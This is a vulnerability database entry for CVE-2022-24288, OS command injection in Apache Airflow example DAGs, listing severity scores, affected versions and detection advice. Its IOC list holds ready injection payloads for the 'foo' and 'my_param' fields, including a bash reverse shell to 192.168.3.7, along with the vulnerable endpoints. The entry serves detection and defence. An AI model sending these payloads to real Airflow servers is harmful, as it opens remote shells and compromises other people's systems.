cbcvebase.
CVE-2022-24288
published 2022-02-25

CVE-2022-24288: In Apache Airflow, prior to version 2.2.4, some example DAGs did not properly sanitize user-provided params, making them susceptible to OS Command Injection…

PriorityP187high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
77.88%
99.5th percentile
In Apache Airflow, prior to version 2.2.4, some example DAGs did not properly sanitize user-provided params, making them susceptible to OS Command Injection from the web UI.

Affected

2 ranges
VendorProductVersion rangeFixed in
apacheairflow< 2.2.42.2.4
apache_software_foundationapache_airflow>= unspecified < 2.2.42.2.4

Detection & IOCsextracted from sources · hover to see the quote

url/admin/airflow/code?root=&dag_id=example_passing_params_via_test_command
url/code?dag_id=example_passing_params_via_test_command
url/trigger?dag_id=example_passing_params_via_test_command
url/trigger?dag_id=tutorial
command{"foo":"\";touch /tmp/pwnedaaaaa;\""}
command{"foo":"\";bash -i >& /dev/tcp/192.168.3.7/6666 0>&1;\""}
command{"my_param":"\";touch /tmp/pwnedddddd;\""}
  • Detect exploitation attempts by matching the vulnerable DAG ID 'example_passing_params_via_test_command' in HTTP requests to the Airflow trigger or code endpoints
  • Detect exploitation attempts by matching the vulnerable DAG ID 'tutorial' in HTTP POST requests to the Airflow trigger endpoint, combined with JSON body containing 'my_param' key
  • Alert on HTTP responses from Airflow containing the unrendered Jinja2 template string indicating an unauthenticated/vulnerable instance
  • Detect OS command injection payloads in Airflow DAG trigger POST bodies: look for semicolons and shell metacharacters within JSON param values (e.g., params containing '";' sequences)
  • Monitor for reverse shell patterns (e.g., bash -i >& /dev/tcp/) in Airflow DAG trigger request bodies targeting the foo or my_param parameters
  • Use Shodan/FOFA queries to identify exposed Airflow instances: match on page title 'sign in - airflow' or HTML containing 'Apache Airflow'
  • ·The vulnerability only exists when example DAGs are loaded. Instances with '[core] load_examples = False' in their Airflow configuration are NOT affected.
  • ·The impact is significantly elevated when Airflow is configured for unauthenticated access, as exploitation requires no credentials in that case.
  • ·Two separate vulnerable DAGs are affected: 'example_passing_params_via_test_command.py' (params: foo, MIFF) and 'tutorial.py' (param: my_param), both assigned the same CVE.

CVSS provenance

nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
vulncheck8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.